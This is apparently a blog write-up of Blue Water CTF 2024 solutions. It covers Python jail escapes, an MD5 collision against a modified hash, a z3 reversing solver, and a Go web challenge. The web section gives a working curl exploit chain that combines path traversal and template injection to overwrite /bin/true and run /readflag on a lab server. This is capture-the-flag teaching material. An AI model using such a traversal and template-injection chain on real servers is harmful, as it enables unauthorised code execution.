以下の内容はhttps://hiikunz.hatenablog.com/entry/Blue_Water_CTF_2024より取得しました。


Blue Water CTF 2024 WriteUp

I competed in the Blue Water CTF as an individual and placed 12th.

Misc

RSAjail-3

from subprocess import Popen, PIPE, DEVNULL
from Crypto.Util.number import getPrime
from secret import fname, flag
import time, string, secrets, os

def keygen():
    pr = Popen(['python3', '-i'], stdin=PIPE, stdout=DEVNULL, stderr=DEVNULL, text=True, bufsize=1)

    p, q = getPrime(1024), getPrime(1024)
    N, e = p * q, 0x10001
    m = secrets.randbelow(N)
    c = pow(m, e, N)

    pr.stdin.write(f"{(N, p, c) = }\n")
    pr.stdin.write(f"X = lambda m: open('{fname}', 'w').write(str(m))\n")
    # X marks the spot!
    
    return pr, m

def verify(pr, m, msg):
    time.sleep(1)

    assert int(open(fname, 'r').read()) == m
    os.remove(fname)
    pr.kill()

    print(msg)

# Example!
pr, m = keygen()
example = [
    "q = N // p",
    "phi = (p - 1) * (q - 1)",
    "d = pow(0x10001, -1, phi)",
    "m = pow(c, d, N)",
    "X(m)"
]

for code in example:
    pr.stdin.write(code + '\n')

verify(pr, m, "I showed you how RSA works, try yourself!")


# Your turn!
pr, m = keygen()
while code := input(">>> "):
    if (len(code) > 3) or any(c == "\\" or c not in string.printable for c in code):
        print('No hack :(')
        continue
    pr.stdin.write(code + '\n')

verify(pr, m, flag)

The RSA variables N, p, c are defined in the Python interpreter. The goal is to get the value of m using the given variables and call X(m). The constraints are that we can only use the letter in string.printable except \ and the length of each line of the input should be less than 3. In the Python interpreter, I found that I can use a technique like this.

x=(
expression
)

Here is my solution.

q=(
N
//
p)
x=(
(
p-1
)*(
q-1
))
e=(
2**
16+
1)
d=(
pow
(e,
-1,
x))
m=(
pow
(c,
d,
N))
X(
m)

flag: bwctf{Lmao_pow_function_is_too_powerful...Time_to_ban_it!!!!}

RSAjail-1 / RSAjail-2

When I slept after solved RSAjail-3 and woke up, I found that the tasks RSAjail-1 and RSAjail-2 are released.

The constraints became stricter. The length of each line of the input should be less than 2 (in RSAjail-2) or 1 (in RSAjail-1).

I dicided to solve RSAjail-1 first and then solve RSAjail-2 in the same code.

I realized that the variable _ means the result of the last evaluation in the Python interpreter (see Python docs).

First I evaluate [0,0,0,0,0,0,0,0,0,0] and make able to use 10 variables from _[0] to _[9].

Then I created function f(idx, s) which generates code to replace _[idx] with s.

I also created the functions twopow(x), modinv(a) and div(x, y).

twopow(x) generates the code to compute 2**x using the repeated squaring algorithm.

modinv(a) produces the code to compute the modular inverse of a in mod MOD (which isn't equal to N) using the extended Euclidean algorithm.

div(x, y) generates the code to compute x // y using modinv(a).

Finally, I generated the code to calculate the value of m and call X(m).

I set MOD to  2^{2032} + 225 (prime) because MOD is greater than all the quotients of the divisions.

Here is my solution.

def f(idx, s):
    if idx == 0:
        return f"([{s}]+_[1:])"
    if idx == 9:
        return f"(_[:9]+[{s}])"
    else:
        return f"(_[:{idx}]+[{s}]+_[{idx+1}:])"


def twopow(x):
    res = ""
    res += f(8, "1")
    res += f(9, "2")
    while x:
        if x & 1:
            res += f(8, "_[8]*_[9]")
        x >>= 1
        res += f(9, "_[9]*_[9]")
    return res


MOD = 2**2032 + 225


def modinv(a):
    res = ""
    m = MOD - 2
    res += f"(_[:8]+[1,{a}])"
    while m:
        eight = "_[8]"
        nine = "_[9]"
        if m & 1:
            eight = "_[8]*_[9]%_[0]"
        m >>= 1
        nine = "_[9]*_[9]%_[0]"
        res += f"(_[:8]+[{eight},{nine}])"
    return res


def div(x, y):
    res = ""
    res += f(6, "0")
    res += f(7, x)
    res += f(7, f"_[7]-(_[7]%{y})")
    res += modinv(y)
    res += f(6, f"(_[7]*_[8])%_[0]")
    return res


res = "[0,0,0,0,0,0,0,0,0,0]"
res += twopow(2032)
res += f(0, "_[8]+5*5*9") # _[0] = 2**2032 + 225 = MOD
res += div("N", "p")  # _[6] = q

res += f(5, "(p-1)*(_[6]-1)")  # _[5] = phi
res += twopow(16)  # _[8] = 2^16
res += f(4, "_[8]")  # _[4] = 2^16
res += f(4, "_[4]+1")  # _[4] = 2^16+1 = a
res += f(3, "_[5]")  # _[3] = phi = b
# modinv(_[4],_[3]=_[5])
res += f(1, "1")  # u
res += f(2, "0")  # v

for i in range(15):
    res += div("_[4]", "_[3]")  # _[6] = a // b
    res += f(6, "_[6]*(_[3]>0)")  # check 0
    # a = a % b
    # u = u - t*v
    res += "([_[0],_[2],_[1]-_[6]*_[2],_[4]-_[6]*_[3],_[3]]+_[5:])"

res += f(1, "(_[1]+_[2])%_[5]")

# calc pow(c,_[1],N)
res += f(2, "1")
res += f(3, "c")
res += f(4, "1")
for i in range(2048):
    res += f(5, "((_[4]&_[1])>0)")
    res += f(2, "(_[2]*(_[3]*(_[5])+(1-(_[5]))))%N")
    res += f(3, "(_[3]*_[3])%N")
    res += f(4, "_[4]*2")
res += "(X(_[2]))"

res2 = ""
for i in res:
    res2 += i
    res2 += "\n"

print(res2)

flag for RSAjail-1: bwctf{Did_you_have_fun_with_only_one_variable?_Good_thing_*tuple*_exists_UwU}

flag for RSAjail-2: bwctf{:=_is_called_the_walrus_operator_I_assume_it_was_very_helpful}

Web

Sandevistan

This application is written in Go and the goal is to execute the binary /readflag in the server. This challenge is composed of a lot of code, but the important functions are as follows.

func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request){
    err := r.ParseForm()
    if err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }
    ue := checkForm(r)
 
    // The rest is left out because it's not important
}

func checkForm(r *http.Request) *models.UserError {
    var ue *models.UserError
    ctx := r.Context()
    username, exists := r.Form["username"]
    if !exists {
        ue = &models.UserError{
            Value: "NOUSER",
            Filename: "nouser",
            Ctx: ctx,
        }
        return ue
    }
    ctx = context.WithValue(ctx, "username", username[len(username)-1])
    cwName, exists := r.Form["name"]
    if !exists {
        ue = utils.ErrorFactory(ctx, "CyberWare name doesn't exist", username[len(username)-1])
        return ue
    }
    ue = utils.AlphaNumCheck(ctx, cwName[0])
    return ue
}

func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
    if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
        v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
        username := ctx.Value("username")
        regexErr := ErrorFactory(ctx, v, username.(string))
        return regexErr
    }
    return nil
}

func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
    filename := "errorlog/" + f
    UErr := &models.UserError{
        v,
        f,
        ctx,
    }
    file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
    defer file.Close()

    file.WriteString(v)
    return UErr
}

The ErrorFactory function has a path traversal vulnerability. We can overwrite the file tmpl/user.html by sending a POST request with the parameter username=../tmpl/user.html&name=(payload) because it does not check if the user with the given username exists in this flow.

Then I overwrite the file tmpl/user.html and cause SSTI and misuse the following functions.

func (s *Server) handleUserGet(w http.ResponseWriter, r *http.Request) {
    u, err := s.GetUser(r.FormValue("username"))
    if err != nil {
        http.Error(w, "Username not found", http.StatusNotFound)
        return
    }

    if u.Name == "NOUSER" {
        http.Redirect(w, r, "/", http.StatusFound)
    }
    utils.RenderTemplate(w, "/tmpl/user", u)
}

func (u *User) SerializeErrors(data string, index int, offset int64) error {
  fname := u.Errors[index]

    if fname == nil {
        return errors.New("Error not found")
    }
 
    f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
    if err != nil {
        return errors.New("File not found")
    }
    defer f.Close()

    _, ferr := f.WriteAt([]byte(data), offset)
    if ferr != nil {
        return errors.New("File error writing")
    }

    return nil
}

func (u *User) UserHealthcheck() ([]byte, error) {
    cmd := exec.Command("/bin/true")  
    output, err := cmd.CombinedOutput()
    if err != nil {
        return nil, errors.New("error in healthcheck")
        panic(err)
    }
    return output, nil

}

The handleUserGet function evaluates the template tmpl/user.html with the user object.

Then we can call SerializeErrors in the user object and write the overwrite file to /bin/true.

Finally, we can call UserHealthcheck in the user object and run /bin/true.

Here is my solution.

curl -X POST localhost:29884/user -d "username=abc" # create user `abc`
curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .NewError "hoge" "/bin/true" }}'
curl localhost:29884/user?username=abc
curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .SerializeErrors "#!/bin/sh\n" 0 0 }}'
curl localhost:29884/user?username=abc
curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .SerializeErrors "/readflag\nexit\n" 0 10 }}'
curl localhost:29884/user?username=abc
curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .UserHealthcheck }}'
curl localhost:29884/user?username=abc

flag: bwctf{YoU_kNoW_yOu_d1dnt_l0s3_Ur_53Lf-coNtR0L._LEt'5_start_at_the_r4inB0w}

Rev

maybe Checker

The reversing part is just a matter of mind.

There are many functions, and one of them is called at random when the program runs.

Each function checks a condition, and the flag is the string that meets all the conditions.

Then I used z3 to get the flag. (The o variables are the offsets when the functions are called)

from z3 import *

xs = [BitVec("x%d" % i, 32) for i in range(0x30)]

s = Solver()

for i in range(0x30):
    s.add(xs[i] >= 0x2D)
    s.add(xs[i] <= 0x7E)

# 401210
o = 0
s.add(xs[o] == ord("b"))
s.add(xs[o + 1] == ord("w"))
s.add(xs[o + 2] == ord("c"))
s.add(xs[o + 3] == ord("t"))
s.add(xs[o + 4] == ord("f"))
s.add(xs[o + 5] == ord("{"))
s.add(xs[o + 0x2F] == ord("}"))

# 401240
o = 0x08
s.add(xs[o + 3] == ord("-"))
s.add(xs[o + 9] == ord("-"))
s.add(xs[o + 0xF] == ord("-"))
s.add(xs[o + 0x15] == ord("-"))
s.add(xs[o + 0x1B] == ord("-"))
s.add(xs[o + 0x21] == ord("-"))

# 401270
o = 0x5
s.add(xs[o + 0xD] < xs[o + 0xE])

# 401280
o = 0x4
s.add(xs[o + 0x1E] ^ xs[o + 2] == 100)

# 401290
o = 0x4
s.add(xs[o + 0xE] < xs[o + 0x11])

# 4012a0
o = 0x22
s.add(xs[o + 8] * xs[o + 2] == 0x1DE6)

# 4012c0
o = 0x04
s.add(xs[o + 5] < xs[o + 0x20])

# 4012d0
o = 0x7
s.add(xs[o + 0x1E] < xs[o + 0xC])

# 4012e0
o = 0x7
s.add(xs[o + 0xC] == xs[o + 0x1F])

# 4012f0
o = 0xD
s.add(xs[o] * xs[o + 0xE] == 0xD59)

# 401310
o = 0x17
s.add(xs[o + 3] < xs[o + 1])

# 401320
o = 0x17
s.add(xs[o + 7] < xs[o + 0xD])

# 401330
o = 0xB
s.add(xs[o + 0x15] < xs[o + 8])

# 401340
o = 0x6
s.add(xs[o + 0x1C] + xs[o + 0x22] == 0x67)

# 401360
o = 0x9
s.add(xs[o + 0xB] ^ xs[o + 0xA] == 0x66)

# 401370
o = 0x13
s.add(xs[o + 0x13] ^ xs[o + 0x1] == 0x66)

# 401380
o = 0x16
s.add(xs[o + 0xF] + xs[o + 0x17] == 0x85)

# 4013a0
o = 0x2
s.add(xs[o + 0xA] + xs[o + 0x29] == 0x92)
# 4013c0
o = 0x6
s.add(xs[o + 0x4] + xs[o + 0x28] == 0x7E)
# 4013e0
o = 0x15
s.add(xs[o + 0x17] < xs[o + 0x7])

# 4013f0
o = 0x6
s.add(xs[o + 2] < xs[o + 0x20])

# 0x401400
o = 0x15
s.add(xs[o + 0xD] ^ xs[o + 5] == 0x61)

# 0x401410
o = 0x10
s.add(xs[o + 0x1A] ^ xs[o + 0x12] == 0x65)

# 0x401420
o = 0x6
s.add(xs[o + 2] < xs[o + 0x1C])

# 0x401430
o = 0x8
s.add(xs[o] == xs[o + 10])

# 0x401440
o = 0x2
s.add(xs[o + 0xA] * xs[o + 0x13] == 0x1A2B)

# 0x401460
o = 0xD
s.add(xs[o + 0x12] ^ xs[o + 0xC] == 0x7B)

# 0x401470
o = 0x2
s.add(xs[o + 0xE] ^ xs[o + 0x4] == 0x15)

# 0x401480
o = 0xA
s.add(xs[o + 5] < xs[o + 0x1E])

# 0x401490
o = 0x9
s.add(xs[o + 0x16] ^ xs[o + 0x15] == 0xE)

# 0x4014a0
o = 0xC
s.add(xs[o + 0xD] * xs[o + 0x21] == 0x10EF)

# 0x4014c0
o = 0x4
s.add(xs[o + 0x1B] ^ xs[o + 0xC] == 0xA)

# 0x4014d0
o = 0x18
s.add(xs[o + 0x16] ^ xs[o + 2] == 0x1C)

# 0x4014e0
o = 0x0
s.add(xs[o + 0x2A] < xs[o + 0x15])

# 0x4014f0
o = 0x3
s.add(xs[o + 0x1E] < xs[o + 0xB])

# 0x401500
o = 0x1
s.add(xs[o + 0xE] == xs[o + 0x1F])

# 0x401510
o = 0x8
s.add(xs[o + 0xE] * xs[o + 0x12] == 0x10A8)

# 0x401530
o = 0x3
s.add(xs[o + 0xF] < xs[o + 0x13])

# 0x401540
o = 0x0
s.add(xs[o + 0xE] + xs[o + 0xF] == 0x84)
# 0x401560
o = 0x5
s.add(xs[o + 0x5] * xs[o + 0x1C] == 0xF00)

# 0x401580
o = 0x16
s.add(xs[o + 0x2] + xs[o + 0xC] == 0x87)

# 0x4015a0
o = 0x8
s.add(xs[o + 0xE] + xs[o + 0x11] == 0x67)

# 0x4015c0
o = 0x8
s.add(xs[o + 0x1] * xs[o + 0xC] == 0xD59)

# 0x4015e0
o = 0xB
s.add(xs[o + 0x23] < xs[o + 0x8])

# 0x4015f0
o = 0x6
s.add(xs[o + 0x4] + xs[o + 0x16] == 0x84)

# 0x401610
o = 0x2
s.add(xs[o + 0x19] + xs[o + 0x1C] == 0x89)

# 0x401630
o = 0x9
s.add(xs[o + 0x5] ^ xs[o + 0x3] == 0x19)

# 0x401640
o = 0x1
s.add(xs[o + 0x13] * xs[o + 0x2A] == 0xDBF)

# 0x401660
o = 0x1C
s.add(xs[o + 0x4] * xs[o + 0x6] == 0x990)

# 0x401680
o = 0x1
s.add(xs[o + 0xe] + xs[o + 0x26] == 0x78)

# 0x4016a0
o = 0x7
s.add(xs[o + 0x6] * xs[o + 0x17] == 0xdf2)

# 0x4016c0
o = 0x17
s.add(xs[o + 0x1] + xs[o + 0x15] == 0x9a)

# 0x4016e0
o = 0x11
s.add(xs[o + 0xb] ^ xs[o + 0x3] == 0x67)

# 0x4016f0
o = 0xA
s.add(xs[o + 0x8] + xs[o + 0xf] == 0x64)

# 0x401710
o = 0x6
s.add(xs[o + 0x1] * xs[o + 0xF] == 0x1773)

# I didn't implement the following constraints because they are not necessary to recover the flag.

# 0x401730
o = 0x11

# 0x401740
o = 0x6

# 0x401750
o = 0x9

# 0x401760
o = 0x6

# 0x401770
o = 0xA

# solve
s.check()
m = s.model()
print(m)
flag = "".join([chr(m[x].as_long()) for x in xs])

print(flag)

flag: bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}

Crypto

MD5.01

import math

# MD5 Implementation from https://rosettacode.org/wiki/MD5/Implementation#Python
rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
                  5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20,
                  4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
                  6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i+1)) * 2**32) & 0xFFFFFFFF for i in range(64)]

init_values = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]

functions = 16*[lambda b, c, d: (b & c) | (~b & d)] + \
            16*[lambda b, c, d: (d & b) | (~d & c)] + \
            16*[lambda b, c, d: b ^ c ^ d] + \
            16*[lambda b, c, d: c ^ (~b | d)]

index_functions = 16*[lambda i: i] + \
                  16*[lambda i: (5*i + 1)%16] + \
                  16*[lambda i: (3*i + 5)%16] + \
                  16*[lambda i: (7*i)%16]

def left_rotate(x, amount):
    x &= 0xFFFFFFFF
    return ((x<<amount) | (x>>(32-amount))) & 0xFFFFFFFF

def md5(message):

    message = bytearray(message) #copy our input into a mutable buffer
    orig_len_in_bits = (8 * len(message)) & 0xffffffffffffffff
    message.append(0x80)
    while len(message)%64 != 56:
        message.append(0)
    message += orig_len_in_bits.to_bytes(8, byteorder='little')

    hash_pieces = init_values[:]

    for chunk_ofst in range(0, len(message), 64):
        a, b, c, d = hash_pieces
        chunk = message[chunk_ofst:chunk_ofst+64]
        for i in range(64):
            f = functions[i](b, c, d)
            g = index_functions[i](i)
            to_rotate = a + f + constants[i] + int.from_bytes(chunk[4*g:4*g+4], byteorder='little')
            new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
            a, b, c, d = d, new_b, b, c
        for i, val in enumerate([a, b, c, d]):
            hash_pieces[i] += val
            hash_pieces[i] &= 0xFFFFFFFF
    
    return sum(x<<(32*i) for i, x in enumerate(hash_pieces))

def main():
    try:
        msg1 = bytes.fromhex(input('m1 > '))
        msg2 = bytes.fromhex(input('m2 > '))

        assert msg1 != msg2

        h1 = md5(msg1)
        h2 = md5(msg2)

        if h1 == h2:
            print(open('./flag', 'r').read())
        else:
            print(":(")
    except:
        print(":( :(")

if __name__ == "__main__":
    main()

The goal seems to be to find two different messages that have the same MD5 hash, but in fact the MD5 implementation is modified.

original:
            16*[lambda b, c, d: c ^ (b | ~d)]
modified:
            16*[lambda b, c, d: c ^ (~b | d)]

I used fastcoll and patched the MD5 implementation to find the flag.

original:
inline uint32 II(uint32 b, uint32 c, uint32 d) 
{   return c ^ (b | ~d); }
modified:
inline uint32 II(uint32 b, uint32 c, uint32 d) 
{   return c ^ (~b | d); }

msg1: f843ff9326389c212779f04524887fe8d45246a9e4563f7924b63ffa670e3d0c82cbcb07ee6e2dfd6f1ce73cd02bd415ae9b78964c0dc666d35ce6720c64888905e3e0905866d2c3e31e1ea2144b7e7145146ca8845992f8abb3305f176088d6cbeb4244afc2917c3b01469ce973f84df0e2977056a695fe21426ed883c324cc

msg2: f843ff9326389c212779f04524887fe8d4524629e4563f7924b63ffa670e3d0c82cbcb07ee6e2dfd6f1ce73cd0abd415ae9b78964c0dc666d35ce6f20c64888905e3e0905866d2c3e31e1ea2144b7e7145146c28845992f8abb3305f176088d6cbeb4244afc2917c3b01469ce9f3f74df0e2977056a695fe21426e5883c324cc

flag: bwctf{i_never_said_its_the_same_md5_function_:)}




以上の内容はhttps://hiikunz.hatenablog.com/entry/Blue_Water_CTF_2024より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14